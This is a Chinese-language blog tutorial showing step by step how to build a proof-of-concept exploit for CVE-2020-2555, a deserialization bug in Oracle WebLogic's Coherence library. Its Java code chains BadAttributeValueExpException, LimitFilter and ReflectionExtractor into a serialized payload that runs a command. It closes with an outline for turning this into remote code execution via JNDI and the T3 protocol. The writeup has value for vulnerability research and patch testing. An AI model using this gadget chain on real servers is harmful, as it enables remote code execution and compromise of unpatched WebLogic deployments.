Fork me on GitHub

教你一步一步构造CVE-2020-2555 POC

文章首发在安全客:https://www.anquanke.com/post/id/200384

1、前言

欸欸欸,不想写论文,起床发现https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server爆出CVE-2020-2555新的gadget细节了,打发打发时间试着写写POC。本文POC构造将会比较详细,挖JDK gadget大佬自动略过吧,还有本文只是POC,不包含exp,那些想要exp的大佬们也直接略过吧,但是你好好读文章构造出exp也不是什么难事,最后会给出exp的思路。

2、gadget分析思路

漏洞的gadget如下,需要导入coherence.jar,weblogic12.3.6 lib包下有:
Alt text
先抛开上面的gadget总结一下挖掘java反序列化的思路如下:
挖掘java反序列化的思路
1、首先要找到反序列化入口(source)
2、调用链(gadget)
3、触发漏洞的目标方法(sink)
反序列化漏洞的挖掘,本质上就是一个已知source和sink,如何走通整个调用流程的问题。在这里的source,可以包括

  1. Java原生的反序列化,即通过ObjectInputStream.readObject(),处理二进制格式内容,得到Java对象
  2. 专有格式的反序列化,例如通过Fastjson, Xstream等第三方库,处理json, xml等格式内容,得到Java对象

执行目标sink,包括:

  1. Runtime.exec(),这种最为简单直接,即直接在目标环境中执行命令
  2. Method.invoke(),这种需要适当地选择方法和参数,通过反射执行Java方法
  3. RMI/JNDI/JRMP等,通过引用远程对象,间接实现任意代码执行的效果

从source出发,递归检查其所有方法调用,如果能够执行到sink就是一条gadget。
拿这条gadget举例,source入口点是BadAttributeValueExpException的readObject函数。读个ysoserial工具源码的都知道CommonsCollections5这条gadget就是通过BadAttributeValueExpException触发的。sink点则是Method.invoke()通过反射方法执行

3、POC构造过程

构造poc首先从sink点触发,ReflectionExtractor类的extract函数
Alt text
所以构造如下代码是可以弹计算器的:

    public static void main(String[] args) {
        Runtime runtime=Runtime.getRuntime();
        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
        reflectionExtractor.extract(runtime);
    }

反射方式触发:
Alt text
再往上回溯,谁触发extract函数,这就找到LimitFilter类的toString()方法:
Alt text
在写段代码:

    public static void main(String[] args) {
        Runtime runtime=Runtime.getRuntime();
        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
        reflectionExtractor.extract(runtime);
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setComparator(reflectionExtractor);
        limitFilter.setTopAnchor(runtime);
        limitFilter.toString();
    }

将runtime对象赋值给m_oAnchorTop

        limitFilter.setTopAnchor(runtime);

Alt text
将reflectionExtractor赋值给m_comparator

        limitFilter.setComparator(reflectionExtractor);

Alt text
看图的标注,执行2就相当于执行 reflectionExtractor.extract(runtime),就跟POC1构造的一样了。
Alt text
效果就是这样:
Alt text
在向上回溯,谁触发LimitFilter类的toString()。这也就来到的source入口点,通过BadAttributeValueExpException的readObject函数。读个ysoserial工具源码的都知道CommonsCollections5这就是通过BadAttributeValueExpException触发的。所以要想看明白这里需要先看懂CommonsCollections5,可以看我博客写的:https://www.cnblogs.com/afanti/p/10199235.html,之前读CommonsCollections5,做的笔记如下:

重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类,就会调用BadAttributeValueExpException的val = valObj.toString();

这就好办了,把val赋值为limitFilter就会调用limitFilter的toString方法,自此打通了整条gadgets。
在写一段POC:

      Runtime runtime=Runtime.getRuntime();
        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setComparator(reflectionExtractor);
        limitFilter.setTopAnchor(runtime);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field valfield = poc.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(poc, limitFilter);

        File f = new File("poc.txt");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

然鹅,在执行时会报如下错误,Runtime这个类没实现序列化接口,小问题:
Alt text
首先先自定义一个危险类,如下:

import java.io.IOException;
import java.io.Serializable;

public class Afanti implements Serializable {
    public void exec(String shell) throws IOException {
        Runtime.getRuntime().exec(shell);
    }
}

完整POC如下:

 Afanti afanti = new Afanti();
        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setComparator(reflectionExtractor);
        limitFilter.setTopAnchor(afanti);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field valfield = poc.getClass().getDeclaredField("val");

        valfield.setAccessible(true);
        valfield.set(poc, limitFilter);

        File f = new File("poc.txt");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

调用栈如下,跟文章给的图片一样。
Alt text

4 、思路总结

本文只是教大家怎么写POC,exp就不给出来了提一提思路。既然能够执行实现序列化接口类的任意方法,参数可控,exp构造就不难了。比如:可以找一个类,类的函数有执行代码操作或者文件操作或者反序列化操作又或者jndi注入之类的。这样的类一抓一大把,会构造CVE-2019-2725的,自然知道exp怎么写。写完exp,通过t3协议发包,RCE一发入魂。最后提醒大家一点要想构造jndi的exp,jdk版本得选对,要不会遇到很多坑。(想要找危险类的可以试试我写的这篇文章的工具,改改正则:https://www.anquanke.com/post/id/199703

参考链接:

https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
https://www.oracle.com/security-alerts/cpujan2020.html
https://www.cnblogs.com/afanti/p/10199235.html

posted @ 2020-03-07 10:11  Afant1  阅读(1447)  评论(1编辑  收藏  举报